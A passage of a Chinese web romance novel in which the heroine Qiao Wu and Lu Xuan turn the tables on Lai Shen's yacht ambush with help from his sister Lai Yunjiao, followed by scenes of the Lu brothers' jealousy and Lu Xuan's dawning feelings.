“我后天就要回去了。”乔梧说,“但你还要呆在这儿,我不放心。” 陆宣立刻喊司机掉头:“我一个大男人,他还能把我怎么着?” “放心。”乔梧安抚他,“出不了什么事,不然你以为我为什么订这里的酒店。” “你早就算好了?” “大差不差吧。” 见乔梧一副胜券在握的样子,陆宣心里很不是滋味儿。 所以她不是陪他来的,是担心他的安全,来替他扫平障碍的。 明明,他才是哥哥。 什么时候,他才能真正的做一次保护她的人。 一个小时后,两人来到跟赖深约定的地点才发现是一艘游艇。 这要是上去了,人生地不熟,比在陆地上还要危险。 陆宣回头看了眼乔梧平静的神色,她一定也猜得到。 所以他没有多说,而是跟着乔梧一起上了船。 赖深早就等在甲板上了,见来的人多了一个他也不介意,甚至更加高兴,来得越多越好,省得他一个个对付。 他装得很像,完全没有那天吃饭时目中无人的样子,笑意盈盈地走上前来:“今天在机场看到你还以为是看错了,没想到这么巧。” 可能因为这里是他的地盘,所以他说话都要有底气很多,目光偏到陆宣身上,还明知故问:“这位是?” “陆应池的哥哥,陆家排行老三,陆宣。”乔梧往后退了一步站在陆宣身后,“我想赖四公子想要道歉的话,跟他哥哥说比较好,所以把他一起叫来了,您应该不介意吧?” “当然不!”赖深高兴地侧身,“二位请进。” 看着乔梧从自己的眼前经过,赖深微微垂了下眼。 这几次都是远远地看或是通过照片,但近距离看乔梧比他想象中的还要不一样。 哪怕走在落后陆宣的身后,她依旧从容不迫,不见一点其他管家那样的低顺,身上有种浑然天成的气质。 若是不知晓她的身份,谁会知道她是一个管家? 不过到底也是个皮囊而已。 虽然长成她这样的人很少,但赖深身边从来不缺美人,一个讨厌的人在自己身边晃他更难以接受。 他还是希望看到对方变得狼狈,比他更加狼狈,摇尾乞怜的样子。 至于陆宣。 陆应池都敢大庭广众让他出丑,他整治一下陆宣又怎么了? 这么想着,赖深阴阴一笑,跟船员打了声招呼就跟了上去。 前面的陆宣一直在刻意放慢脚步,但他走慢,乔梧就比他更慢,非要走到他身后去,他忍不住问:“你走后面干什么?” “我是管家啊。”乔梧示意他往前看,“管家才好欺负。” “他敢!” “嘘。” 这游艇一共三层,空间很大。 赖深从后面走上来,笑道:“晚上在船上看景是最好的,所以才选了这个地方吃饭,正好可以带你们游一圈,不介意吧?” 乔梧没说话,而是轻轻戳了戳陆宣的后背。 “……”陆宣黑着个脸,“随便。” 赖深脸上笑意更浓:“那就请坐,一会儿我就让厨师上菜。” “上次的事情是个误会。”他都没让人动手,而是自己亲自倒酒,“都是那个叫胡卓的人说了些不好听的话,我才一时气急冒犯了四少爷,既然三少在,那就请你替我多说几句,虽然隔得远,但以后我去内地难免两家也有生意上的往来,闹得太过不好看。” 说完后他自己先喝了一口酒,示意那瓶酒是没有任何问题的。 陆宣瞟了乔梧一眼,见对方没什么反应,便说:“不了,我家家教严,不让我在外面喝酒。” 乔梧:“……” 赖深:“?” 别以为他没看资料,陆宣就是个混迹各种酒场聚会的人,会不喝酒? “没关系。”他的目的也不在酒上,“乔小姐喝一点?” 陆宣不悦道:“她是我家管家,她喝醉了谁照顾我?” “是我考虑不周,我给你们换点其他饮料?想喝什么?” 见乔梧始终都没打断自己,陆宣越发自 在上手,这种角色他演得手到擒来:“水吧。” 他现在演技真的有进步了,早上说自己没钱的时候乔梧都没看出来。 现在的赖深也没看出来,还让人去给他们倒水。 没想到水倒进来了,陆宣又板着脸:“我一般不喝过滤的水,算了。” 赖深沉了一口气。 这陆家老三怎么比他还要难伺候! “这会儿船已经开了,要不看看其他还有什么想喝的,下次有机会一定给你们招待好了。” 最后几个字赖深说得差点暴露自己咬牙切齿的状态。 “不喝了。”陆宣将杯子一推,交叉着手懒洋洋歪向另一边,“我有点晕船。” 肩膀上忽然倒下一个大脑的乔梧现在只想把这个得寸进尺的人塞进海里。 她笑了笑,对赖深道:“是这样的。” “我怎么听说你们家也有港口?” 乔梧面不改色道:“他就是个混迹演艺圈的少爷,哪里知道什么港口的事儿。” 陆家,一门三废。 赖深心底嘲笑着,倒是也没说什么:“是我考虑不周,那就休息一下?外面夜景不错,要去看看吗,分散一下注意力。” “行。” 桌上的东西谁也没碰。 乔梧觉得人再蠢也不至于在吃的东西里面加手脚,但想到赖深的所作所为,又不太确定了。 保险起见她不会在自己不熟悉的情况下入口任何食物和水。 甲板上摆放这不少小沙发,还有个小火盆。 所以这种天气也不会觉得冷,为了这一趟,赖深把所有的表面功夫都给做齐了。 由于陆宣把晕船的人设发挥到了极致,乔梧只能被迫跟他坐在同一张小沙发上。 “头疼。”陆宣蹭蹭她的肩膀,“按一按。” 乔梧微微一笑,偏头在他耳边轻声道:“你的脑子承受得了我的力气吗?” 陆宣:“……” 怎么,让他演戏还不让他占点便宜? 他都答应那什么破戒断了,贴一会儿都不行?! 他就要贴! 这么想着,他更加在乔梧肩膀上用脑袋撞了撞。 “太瘦了。”他额头被骨头硌到,不满地伸手按了按,“陆尽之到底有没有给你发工资?干那么多活儿不给钱吃饭?” 乔梧捏住他的手腕,眯眼:“注意分寸。” 陆宣悻悻收回手。 坐在两人对面的赖深见状鼻尖发出低低的哼笑声。 反正他不会这么趴在自家管家身上扭来扭去,这两人绝对有问题。 想起那天陆应池也是这么跑到乔梧面前去求摸,他忽然灵光一闪,拿出手机偷偷拍了一张,然后把黑名单里的胡卓放出来,把这张图片发过去。 “想办法发给陆应池。” 对面很快回复了一个好字。 赖深看了眼海面,估摸着时间也差不多了。 他站起身来走到那两人面前:“如果晕船,起来看看海面会好一点,注意力会被转移,要试试吗?” “不用。”陆宣掀起眼睑,“只要别看到脏东西,就还好。” 赖深皱眉:“你是在说我吗?” “你一定要对号入座吗?” “陆宣。”赖深抬着下巴,倨傲地说,“我今天是好心好意请你们来做客道歉的,你们要是不领情就说明这顿饭吃不成了,不是有句古话叫先礼后兵吗?” “赖深。”乔梧像是才发现似的疑惑问,“不是说看夜景,但怎么已经看不到海岸线了?” “当然。”赖深双手插兜,咧嘴笑开,“因为在给你邀请函之前,我已经让人去确认航线了,今天这船不是去看夜景的,是来公海的。” “为什么?” “在内地你们让警察来抓我,在公海你们想让谁来抓我?”赖深吹了声口哨,走到护栏边上,“你们既然不想说和,那我只能报仇了,那天你也看见我是怎么被陆应池羞辱的吧?” “他不在,只能你……”他伸出食指,指了指乔梧又缓缓指向陆宣,“还有他的哥哥,来替他还债了。” 乔梧皱眉:“你想干什么?” 赖深哈哈笑了两声,像是在笑她的天真:“还能干什么?替你这个晕船的少爷醒醒神,听说晕船的人要是被海水冲刷过就会克服这种生理反应了。” 说完后,赖深朝不远处的船员打了个手势。 瞬间就从一楼跑上来了很多穿着黑衣服的保镖。 “我那天说过。”赖深不怀好意道,“谁敢碰我一下,我就让人把他按在地上任我践踏。” “把他们绑起来。”他对周围的保镖说,“先把陆宣扔海里涮一涮。” 乔梧冷声道:“他是陆家的人。” “那又怎么样?”赖深耸肩,“今天他就是陆家的祖宗,我也照绑不误,至于你……你那天是怎么看着我的,我今天就要让他看着我怎么教训你。” 他居高临下地说:“下贱东西,什么身份也敢用那种目光看我。” “愣着干什么?”没看到保镖们动手,他褪去之前的和善伪装,恶狠狠道,“动手啊!” “他说可以动手了。”陆宣下巴搭在乔梧的肩膀上,“那我可以动手了吧。” 乔梧笑笑,推开他的脑袋:“嗯。” “真的?”陆宣瞬间坐直,“你不生气?” “不气。”乔梧站起身来,望着沉浸在自己世界里的赖深,轻笑着说,“你今天把他打残了也是正当防卫。” 赖深忽然察觉到不对劲,原本那个一直跟在陆宣身后的乔梧忽然站起来。 连陆宣跟她说话都要再三求证。 而她一改之前做什么都要看陆宣反应的状态,神色变得浅疏淡漠,海风吹开她的西装外套,似乎在她的眉眼上落下了几分凝霜。 她身形笔直地站在那里,用一种看垃圾的眼神扫视着他,带着浓浓的嘲意。 一个下贱的管家,也敢用这种眼神看他?! 赖深被刺激到了,也不管保镖们有没有动手,几步上前想抓住她,让她像今天他跪在父亲面前那样跪在自己面前。 可还没等他碰到乔梧的衣领,她身边的说着晕船柔弱的陆宣忽然就动了。 陆宣可是从小跟乔梧一起学的格斗,而且他学习不行,但这些还是做得很好的。 所以他瞬间就把赖深的手给抓住,一脚把人踹出去好远。 赖深今天本来就被父亲打过,身上的伤口在撞到地面上时疼得他全身抽搐,加上胸口被踹的剧痛,没等他缓过来爬起来,陆宣又是一脚踹上去。 陆宣平时看着懒懒散散,但那双桃花眼凌厉起来时却透着从未有过的锋利和凶狠,他一拳砸在赖深的脸上,将人拽着脑袋伸到栏杆最下面那一层,按住悬空,冷声道:“陆应池那条菜狗都打不过,还敢在老子面前动手?今天让你碰她一下,我这二十多年都白活了。” 没想到有这么多人的情况下,陆宣还能冲出来。 赖深怒吼:“都死了吗!给我按住他们啊!” 可那些保镖还是一动不动,这个时候赖深终于发现不对劲了,他惊恐地看向乔梧。 后者慢条斯理地朝他走了过来:“放开他。” 陆宣回头看了一眼,随即一只脚踩住赖深的腿,起身给乔梧让了位置。 乔梧随手扯过旁边的一张椅子,直接将椅子腿撑在赖深的身体上,脚踩住凳面,不让他有任何可以起身的可能。 “你!” 乔梧笑着打断他:“你家四个孩子争家产,最后如果赖家落到你这个草包头上毁了这么多年的基业,怕是你家祖宗都会被气活,所以我想了想,决定给有能力的人搭一把手。” 赖深心底重重一跳,喉间涌出一股腥甜来。 没等他说话,乔梧便笑着朝后面扬起语调:“赖三小姐,这份见面礼你觉得怎么样?” 甲板后传来有规律的高跟鞋的声音,赖深艰难地扭过头循声看去。 之前不知道什么时候从家里消失了的赖云娇满脸笑意地走了过来。 她扫过烂在地上的赖深,然后深深看向乔梧,挑眉道:“我很喜欢。” 第64章 第六十四章这是嫉妒 脑袋嗡嗡作响的赖深终于明白发生了什么,为什么那些提前准备的保镖一个没动,原来全被赖云娇换掉了。 他从来都没有打算要玩什么阴的,目的就是把人骗上船带到公海狠狠收拾一顿,哪怕乔梧和陆宣不配合,这么多保镖有的是法子让配合。 他死死盯着赖云娇,“赖云娇!你帮着外人?!” “说什么呢。”赖云娇笑着走来,惬意地背靠栏杆垂着海风,“我是在帮你啊弟弟。” 她用高跟鞋脚尖轻轻踢了他小腿一脚:“父亲才惩罚过你,你怎么就不长记性呢?如果今天不是我在拦住了你,日后陆家追究起来知道会给家里惹来多大麻烦吗?真喺傻嘅。” “你们……” 你们怎么会认识! 赖深忽然想到自己去追乔梧的时候,赖云娇罕见没有跟他呛声。 难道那会儿她就想到了?! 可她怎么会知道自己要做什么的! 再一看乔梧完全变了一个人,满眼笑意自信从容的模样,赖深怎么能不知道自己进了这两人的圈套。 他咬牙:“你根本不是陆家的管家。” “怎么不是?”乔梧笑着说,“我是啊。” “陆应池和陆宣对你那么特殊,怎么可能!” 乔梧扬着眉梢:“为什么不可能,管家管家,管的就是整个家,当然也包括他们。” 陆宣踩着他:“老子对谁特殊关你屁事。” 但是他也很好奇 到底是怎么一回事,乔梧怎么会跟赖家的人扯上关系? 赖云娇有点冷,也懒得在这儿跟赖深废话,于是对保镖说:“把他按在这里吹吹风冷静冷静。” 又看向乔梧:“进去?” “嗯。” 回到船内坐下,陆宣的目光就没离开过乔梧:“我现在可以知道了吧!” 在小沙发落座的赖云娇闻声,在两人之间仔细打量了一圈。 不怪赖深质疑,乔梧跟陆三的相处模式根本不像主家和管家,甚至比她们家那些虚伪的亲情都要真心。 她很难相信短短时间内,一个人能变得这么多。 可如果是现在的乔梧说要辅佐陆家掌权人,她却觉得合情合理。 所以她没急着说话,而是拿出新的杯子给自己倒了杯酒,顺便递给乔梧和陆宣,自己则是坐在旁边听着。 乔梧不放心赖深,却是放心赖云娇的,所以她拿过新杯子浅浅抿了一口,当是两人初步合作成功了。 放下杯子后她才告诉了陆宣全部的原委。 收到邀请函前的半个小时,她的门外来了一个客人。 时隔很久没见,但赖云娇跟她印象里一样,依旧没变。 赖云娇是赖家的第三个女儿,赖父有些重男轻女的思想,一直都不是很看好她,那么多孩子里唯独把她放在国外养了很久。 但赖云娇这人在圈子里是出了名的成绩优异,哪怕被扔在国外她也依旧靠着自己的能力在一众富二代里站稳脚跟,成为很有话语权的人。 不像纵情于声色的其他人,她在上学的年纪就已经明确了自己的目标,建立自己的社交圈,哪怕在浮华的圈子里也从不会被迷乱眼睛,也放得下身段去各种地方学习经营管理。 哪怕是家里人不看重的女孩,她也从来不在外人面前露怯,因此当初会因为被揭穿家中私事时毫不犹豫出手教训人。 很果断,也很有耐力。 在来港区之前乔梧查过她。 赖云娇能得到回港区的机会,在父亲身边有一席之地甚至可以参与家族的事业经营乔梧一点都不意外。 忍了这么多年,如果有机会能再往前进一步,赖云娇是不会拒绝的。 所以哪怕之前闹过不愉快,她也不会放过这个机会。 乔梧无意插手别人家的家族斗争,也从没想过要刻意去洗白自己在别人眼里的形象,但她手里有资源,而赖云娇能解决所有港区的隐患,她就不介意跟人做一场交换。 赖云娇站在门外,也不跟她寒暄,直接就问:“欠礼是什么意思?” 乔梧莞尔:“如果你还没想到的话,应该是不会来找我的。” “要进来继续谈吗?” 说完也不等赖云娇回答,而是自己转身进了房间。 不到三秒,身后的门啪嗒一声合上。 乔梧取了个杯子:“喝点什么?” “什么都不喝。”赖云娇直接在沙发上坐下,坦白道,“我跟你应该不是可以坐下来好好喝水聊天的关系。” 以前的烂摊子乔梧从来都不愿意捡起来自己背着,所谓的欠礼只是一个借口而已,所以她也没强求,而是在赖云娇对面坐下。 “解决你弟弟。”她开门见山道,“我可以让你取代其他人的位置,去大陆发展。” 赖深短时间内是去不了大陆的,但另外两人就不一定了,反正再怎么选,赖云娇都不是最优选择。 “就凭你?” 乔梧不置可否:“你只要回答愿不愿意就好了。” “你要有这么大的本事,为什么不亲自解决他?” “能用最简单快捷的办法,为什么还要多走弯路?” 的确解决赖深有很多种方式,但终归还是在港区,乔梧需要多花时间和精力,这样就要耽误其他事情的进度,得不偿失。 帮赖云娇又不是什么很难的事情,更何况如果赖云娇去了内地发展,以后对她也只有好处。 她说话轻描淡写,哪怕赖云娇说不喝东西,她也悠然自得地喝着自己的果汁,一点都不着急。 赖云娇不得不重新审视打量眼前的人。 宛如脱胎换骨,从里到外都透着一种矜贵的神态,眼神虽然含着笑意却格外有力度,任何人第一眼看到这样的女人,都不敢小瞧轻视。 赖云娇甚至怀疑当初在国外蠢得揭露别人伤口的人是不是眼前的人。 如果跟乔梧的初见是现在这样的场景,她一定会朝对方主动伸出手。 但现在她却多了几分疑心。 她淡声道:“我认为做交易是需要拿出筹码的。” 知道她会这么说,乔梧也不急。 而是拿出了手机,先是发了几条消息,边打字边道:“既然赖深去了大陆,你应该也了解过大陆现在顶部是哪些人。” “怎么,你又要说你跟陆尽之青梅竹马天生一对么?” “……”乔梧难得有几分窘迫,这下倒是记得替自己辩解了,“我跟他只是很单纯的朋友关系。” 对于赖云娇来说,两个说法的可能性都那样。 不过陆家既然敢把基金会交给乔梧,这里面一定还有什么关窍。 等发出去的消息都受到回复以后,乔梧才把手机屏幕递到赖云娇面前。 赖云娇看了眼,目光轻顿。 几个置顶都是陆家的人,甚至还有陆氏前总裁陆江,而且每个人跟乔梧的最近联系时间都很近。 尤其是陆尽之,现在置顶的他还有一条未读,是问乔梧到了没有。 除此之外,往下看是秦敛、秦天睿,甚至还有钟家沈家。 在国外的时候她也常常关注国内的动向为以后做打算,自然知道钟家以前也是有头有脸的人物,甚至她还很欣赏钟禾静,她欣赏所有能靠着自己站在高处的女性。 这些人都是部分这几分钟内给乔梧回信息的人,其他还未知。 但……足够了。 “我也才回国不久。”乔梧说,“现在,我就是交易的筹码。” 赖云娇将手机还回去:“就因为赖深那个草包?” “当然不是。”乔梧给发来消息问候的人一一回复,又给陆尽之回了个到了的消息,这才继续道,“我只是不想以后接触到的是赖深那样的合作伙伴,后患无穷,而且比起你其他两个哥哥,我更希望你去内地。” “你很了解他们?” 其他两个哥哥也有自己的能力,否则她也不可能一直被放养。 “事实上我根本不认识他们。”乔梧笑着抬眸,“但人总是有私心的,跟认识的人做生意和跟不认识的,总有区别吧。” 人就是要有私心。 如果乔梧说她完全没有自己的打算,赖云娇反而不信她。 她终于放下心里的顾忌:“我现在开始怀疑当初在国外的那个人是不是你了,你不打算道个歉么?” “欠礼已经给了,至于道歉。”乔梧失笑,“你不是怀疑那人是不是我么,反正不是现在的我,所以我不会为过去的人买单。” “但凡任何一个人说这句话,我都会让人把她从这里扔出去。” 太嚣张了。 但现在有比扔人更加重要的事,赖云娇拿出手机拨打那个被她存下来却一直没打的 电话。 没两秒乔梧的手机就响了。 “我的号码。”赖云娇说,“我答应你了,他知道你在酒店,但我会保证不让他来烦你。” 乔梧将电话存下来:“好。” 原本乔梧的打算是让赖云娇去解决赖深。 但她没想到赖深会这么快送上门来,以至于根本不用费太多心思就能知道对方要干什么。 赖云娇手段十分迅速,在赖深赶去码头之前就把船上所有人都换成了她的人,而她也一直在其中的房间里。 乔梧之所以前面装得自己只是一个小小的管家,还把陆宣叫上,就是因为船上有录像。 赖深欺负一个管家倒没什么,但要是把主意打到陆家三少爷头上,那就没得说了。 陆家现在三个兄弟他得罪了两个,以后大陆他就别想再去发展了。 听完所有的前因后果,陆宣脑袋发木地坐在那里。 他知道乔梧一向聪明,反应也很快,却没想到她能盘算到这么远的时间来。 “所以在陆应池跟外面那狗东西有了冲突以后,你就知道怎么做了?” 提醒姜园把消息透露给赖家人,也算到赖云娇一定会知道,住进赖家的酒店,借此引来赖云娇见面彻底解决赖深,还能在港区给自己铺一条人脉。 他语气复杂:“你怎么……” 乔梧喝着酒:“嗯?” 陆宣把剩下的话咽了回去。 他想说你怎么跟陆尽之一样,果然是做生意的人心都脏! “你怎么那么厉害!”陆宣抓住她的胳膊。 陆尽之脏,乔梧厉害。 乔梧拍开他的手:“起开。” “你原来说你跟陆家人关系好,我是不信的。”对面的赖云娇见状,想起录像里陆宣时时刻刻黏在乔梧身上的样子,饶有兴致地说,“但我现在信了。” “我们从小一起长大。”虽然被推开了,但陆宣现在心情极好,他可是在乔梧面前表现过了,所以还挺热情回答赖云娇的话,“青梅竹马,懂吗?” “嗯?”赖云娇挑眉,“你的青梅竹马不是陆尽之吗?” 乔梧:“……” 陆宣:“?” “你跟陆尽之也这么相处?”赖云娇由衷好奇,她实在想象不到陆尽之会粘人的样子,“你说你跟陆尽之关系最好,那就更亲近了?” 陆宣:“???” “最好?”他扭头紧紧锁定乔梧。 “你们都一样。”乔梧不用看他就知道他炸毛的点,“都要戒断,谁都不比谁高贵。” 陆宣没晕船,但从公海开回去全程被按在甲板上的赖深晕了。 赖云娇让人把他拎起来:“我会把他丢给父亲,这次是我欠你的情。” 说着要解决人,但到头来是乔梧出的主意,她只出了人。 但她不愿意放弃乔梧这个人脉,所以把自己的欠条先打上了。 “也没什么。”乔梧说,“我哥这段时间都在港区拍戏,如果方便就请多照顾一下。” “哥哥!”陆宣再三纠正,“说了叫哥哥!” 乔梧睨他一眼:“你还戒不戒了?” 陆宣皱了皱眉:“这也要戒?” 挺难的。 旁边的赖云娇眼里兴味更浓:“你明天还在港区?什么安排,没事的话我请你吃饭。” “早上送陆宣去剧组,晚点要去拍卖会。”乔梧说,“晚饭之前?” 她看过这次拍卖会的一些拍品,想拍一副茶盏给乔知义。 “那就一起吧。”赖云娇略点了下头,“明天见。” “明天见。” 见人走了,陆宣跟着钻进车里。 “你又要去拍卖会?”他的期待表现得十分不明显,“不用那么破费,每次都买礼物。” 乔梧忍着笑:“没想给你买。” 但如果看到有合适的,也不是不可以。 “哦。” 隔了几秒,他又忍不住:“真的吗?” 乔梧噗嗤笑了:“今天有哥哥的样子,会给你买礼物的。” 陆宣眼睛顿时就亮了:“其实也就那样,我一直都有练着的。” 想到自己这个月的十万块钱,他摸了摸肚子,将衣摆掀起一角:“金主要不要看看我的腹肌?” 乔梧敛起笑意别开头:“五万。” “……” 靠! 又一次被侮辱了! 乔梧按了下眉心,觉得这人怎么长这么大了一点边界感都没有,只能提醒:“作为哥哥,不能随便给妹妹露腹肌,知道吗?” “但你是金主。” 陆宣不悦,“怎么都感觉你亏了。” “我就是地主也不行。”乔梧指着自己,“我性别女,你性别男。” “我……” 陆宣卡壳了一下,目光在她脸上停下一瞬,好半天才喃喃,“我知道了。” 他后知后觉自己刚才做了什么奇怪的举动,耳根都红了大半,幸好车里看不出来,只好僵硬地转移话题:“你今天怎么不管管那个狗东西?” “管?” “秦天睿那样。” 乔梧轻嗤:“我又不是菩萨。” 管教秦天睿是秦敛所托,后来也是因为秦敛也算给过她一些便利,所以她也管了管从亦。 至于其他人,根再如何好如何坏,跟她有什么关系。 她的目标始终都是赖云娇,所以她连碰都不会碰赖深一下。 至于人家以后要怎么处理,那也是人家的事。 陆宣看着黑暗里的她,莫名有种感觉,乔梧有很多面真的跟陆尽之很像。 这让他特别不爽。 好端端的人,像什么不好,非得像猴。 此时大陆。 收到赖深消息的胡卓欣喜万分,这说明他还有攀附赖深的机会,所以想方设法都要把那段视频发给陆应池去看,他辗转找了好多人,才勉强找到一个陆应池的同班同学,把视频转了过去。 丝毫不知道赖深现在已经像一条死狗一样被拖回家了。 陆宅藏书楼,陆应池打了个哈欠:“改完了没?” 陆柠埋着脑袋:“马上就好了,你再忍忍。” 陆应池把手机调成静音,打算打两把游戏,可忽然却收到叶梁发来的一张照片:“哥,别人让我发给你。” 都不用点开陆应池就知道上面的人是谁。 陆宣亲密地靠在乔梧的肩膀上,而乔梧侧眸看着他,也没有一丝厌烦和抗拒。 陆应池紧紧捏住手机,瞳孔骤然变大。 他甚至怀疑自己的眼睛是不是坏掉了,所以还把图片点开,放大,认真观察两人之间是不是真的靠得那么近。 “你别晃啊。”陆柠拦住他颤抖的手,“我还没看清呢,咦,乔梧和陆宣在干什么?” 陆应池怒道:“我踏马也想知道!” 乔梧摸他都只摸头发丝! 却容许陆宣这么靠在她身上?! 凭什么! “你急什么?是不是占有欲作祟。”陆柠看他一眼,见怪不怪地说,“不要那么心急,到时候咱们靠回来就是了,占有欲太重会被讨厌的。” 陆应池头发都要竖起来了:“我还没占呢!” 不行,他要打个电话去质问一下,让这两人保持距离! 他刚要退出全屏,却忽然发现这张背景下面多出了一张脸。 “我靠!” 陆应池吓得一个激灵,手机掉到地上,面前的桌子都被他推开好远,他整个人紧紧贴在桌沿:“有脏东西!” 他就说! 藏书楼这种地方,一定不干净! 陆柠知道他怕鬼,拍了拍他的后背,环视一周:“怎么可能,你没回来之前我天天一个人在这儿写……嗷嗷嗷嗷嗷嗷嗷!!!” 两人身后不知道什么时候多了一个人。 又高又大,还穿着黑色西装,脸色冷淡,像个阴恻恻的鬼。 哪怕是面前有两个人叫得鬼哭狼嚎,他也一点反应都没有。 隔了几秒,他俯身将地上的手机捡起来,上面的图片依旧那么显眼,他一瞬不瞬地盯着看了很久。 “别叫了!”回过神的陆柠把几乎要钻到桌底下的陆应池抓出来,“是二叔。” 陆应池半条魂被找回来,脸色苍白:“卧槽,陆尽之你能不能干点人事儿!” 他深吸几口气平复心跳:“把手机还给我。” 以往的陆尽之总是会用他那双裹着坏的眼睛看他们一眼,但这次陆尽之却只是把手机扔了过去,随后便转身离开了藏书楼。 来的时候怎么无声,去的时候也怎么无声。 陆应池难得没被嘲讽嘴炮,还有点不习惯。 “没礼貌,连声招呼也不打,我要举报他。”陆应池抱着手机说,“他怎么回事,终于被人毒哑了?” 陆柠看透一切,摸着下巴:“他也有占有欲。” 真是的,这些叔叔能不能像她一样懂点事儿! 从藏书楼里出来的陆尽之缓步走在回 房间的路上,冷风吹得他发胀的额头冷却了些许,可心里的天秤却一直在疯狂摇摆。 两头分别是那点岌岌可危的亲情,以及乔梧。 上一次乔梧和陆宣住在同一个房间时,他都没有这么明显的情绪波动,只是觉得不该。 可现在他却控制不住了。 乔梧说她有分寸,应该相信她。 陆宣也不是沈延,他们是一起长大的朋友,关系理应比其他人近。 但是,但是…… 回到房间,陆尽之坐在那张重新摆放在房间里的沙发上。 自从他买回来,乔梧还没上来过。 他整理不清自己的思绪,有很多问题已经困扰了他很久,他在企图找到答案。 在黑暗里待了几分钟,他打开灯,拿出那面乔梧送给他的镜子。 静静地望着里面那双熟悉又格外陌生的漆黑的眼睛。 不高兴。 为什么不高兴? 因为占有欲。 白天还在让他戒断的人,晚上与其他人亲密地靠在一起,而那个人不是他。 陆尽之从那份不高兴里,提取出一个词。 对幸运者产生排斥、敌视的心理状态。 叫嫉妒。 第65章 第六十五章真是狗血文啊 第二天,乔梧把陆宣送去剧组以后又在那多待了一会儿,跟很多人聊了天,还递出去了很多名片。 “这是要干什么?”姜奇看得莫名,“把我的人都挖走?” 陆宣坐在姜奇身边,如果姜奇哪里不满意他好瞬间先发制人把人按住。 “她开了一家娱乐公司,没这方面经验。” 姜奇乐了:“给你开的?” “……” 说起这个陆宣就来气。 “你说她怎么想的?”他摆出一副要跟人促膝长谈的架势,“她要开娱乐公司也不跟我说,我人还在其他公司剩两年合同呢,我说我付违约金去她那她也不愿意,那个公司里都是些没什么名气的小艺人,她图什么?” “我哪知道。”姜奇已经习惯了陆宣遇到乔梧就变得异常的精神状态,稀松平常地说,“她开公司是她的事,为什么一定要跟你有关系?” “我是未来巨星。”陆宣指了指自己的脸,“不签我她开公司干什么?” 姜奇瞥他:“未来巨星,你在我剧组连个男三都够不上。” 陆宣翘着腿:“以后你花钱请我我都不来。” “人最忌讳的事就是把自己看得太重。” 自己几斤几两还不知道了? 姜奇抽了口烟,忽然压低声音问:“你上次问我说为了一个人演戏,那个人是她?” 其实指向太过明显,姜奇接触陆宣只有短短一个月却也摸清楚了他的性格。 富裕的贵公子生活过惯了,脾气一点就爆,吃不了苦也容不得别人忤逆他。 很多时候他都怀疑陆宣会跟任何一个人干起来,尤其是刚进训练营那几天。 但没想到,那个经纪人每周来一次,每次都带点吃的,在陆宣耳朵边再念叨念叨“乔小姐说”,陆宣就一周积压的脾气就会被顺下来,让所有人安安稳稳度过那一周。 乔梧就像是吊在他眼前的一根胡萝卜,他的身边也没有再出现任何一个人的名字有这种效果。 果然,陆宣虽然没有承认,但也没有否认。 姜奇哧哧直笑:“你不会是喜欢她吧?” 还在盯着乔梧忿忿不平的陆宣一时没反应过来,下意识还嘴:“有谁不喜欢她。” “不是。”姜奇像是发现新大陆一样,倾身凑到陆宣面前,稀奇地说,“小少爷,我说的喜欢是什么喜欢你知道吗?男人喜欢女人的喜欢,你的恋商不会跟智商是一样的水平吧?” 什么谁不喜欢,只有小朋友才会用炫耀的语气说这种话。 “什么男人女……” 陆宣的话说了一半却卡在了喉咙里,脑子里忽然冒出来昨晚在车上乔梧跟她说的那句话。 你男性,我女性。 含情的桃花眼眸色微转,终于收回视线:“你说什么?” “得。”姜奇算是看明白了,“以后吃饭你去跟小孩坐一桌。” 什么23岁,他认识好多23的演员这个年纪都已经谈了好几段了。 这人还停留在幼儿园的粘人阶段呢。 但陆宣根本没打算放过他,一把抓住人的衣服往下拉,有些急切又很莽撞地问:“你怎么会觉得我喜欢她?” “我随便说说的,开个玩笑。”姜奇把手拿远,生怕烟灰烫到这张帅脸,“这种事你问我干什么,我又不是心理学家,我离过婚的你知道吧。” 明明烟已经拿出去了很远,但陆宣却还是像被烫到一样把人甩开。 对,姜奇离过婚。 他蹭蹭自己的手:“晦气。” “……” 姜奇一脚踹在他椅子上,“混蛋玩意儿,胡说八道什么,我这是为艺术献身!” 这时已经跟所有工作人员沟通了一圈的乔梧走回来,看到半边屁股都坐在椅子外面的陆宣,眉梢微挑:“行为艺术?” 陆宣忙将椅子拉正,维持着最开始那风度翩翩的样子:“你结束了?” “嗯,准备回去了。”乔梧望向另外一边的姜奇,温和笑道,“姜老师,以后陆宣就麻烦您多指点了。” “放心,我做好心理准备了,不会中途把他扔海里的。”姜奇哈哈笑了几声,玩笑道,“真忍不住扔了不会怪我吧?” “不会,让他再游回来。” “诶诶诶,怎么说话呢?”陆宣从椅子上站起来,“不是,我一个小配角,也没多少戏至于么?” 乔梧:“你说的做了就要做好。” “又不是不做。” “有事就找孟星星和助理。”乔梧指尖在他的手机上点了点,“跟以前一样,拍戏期间无非必要紧急的事不要给我打电话,免得我错过工作重要电话知道吗?” “不工作的时候也不能打?”陆宣不满为什么训练营里的规矩要被带出来。 乔梧意有所指:“你还想不想超过陆尽之了?” “……不打就不打。” 胜负欲忽然就燃了起来。 陆宣紧紧捏着手机,又很不甘心。 他望着乔梧的脸,脑子里不知道哪根弦动了一下,忽的问:“如果我像你说的那样想明白了,是不是这些规矩都不做数了?” 乔梧只是希望他能独立,能自我。 那些规矩其实没有定得太死,只是他们都太听话了才觉得不可违背。 她点头:“当然。” “好,我答应你。”陆宣将手机收回兜里,“我送你出去。” “不用。”乔梧拦住他,“你们继续忙吧,我的车就在外面,不用多这几步了。” 戒断戒断。 陆宣心里默念了几遍,才忍住了要送她出去的冲动,沉默着看着她的背影消失。 直到一只手在他眼前挥了挥:“回神了。” 陆宣不耐地收回视线:“啧。” “我说错了。”瞧他那模样,姜奇带着几分嫌弃道,“你们之间还是有本质区别的,你们不可能。” 什么错了。 喜欢? 什么不可能?! 陆宣转向他,盯。 “这么看我干什么 ?“姜奇将剧本塞到他怀里,说出的话跟周围的冷风一样的冰冷,“她托付你就像托孤一样,你就像那个被送到幼儿园以后依依不舍望着家人离开的小孩,你们根本就不是一条水平线上的人。” 陆宣卷着剧本威胁:“注意言辞,我比她大!” “那就更可笑了,你比她大结果人家还要来处处关心你,你两这能处?我都替她累。” “谁说不能!”陆宣说完又觉得这话有异议,“不是……我跟她不是你想的那样,我是她哥……哥。” 最后一个字被他特意拐了个音。 “好呢,哥哥。”姜奇阴阳怪气嘲讽一句,转身走了。 但陆宣快步跟上了他:“你还没跟我说为什么觉得我喜欢她,你跟你前妻当时怎么回事?” “你关心我前妻干什么?” 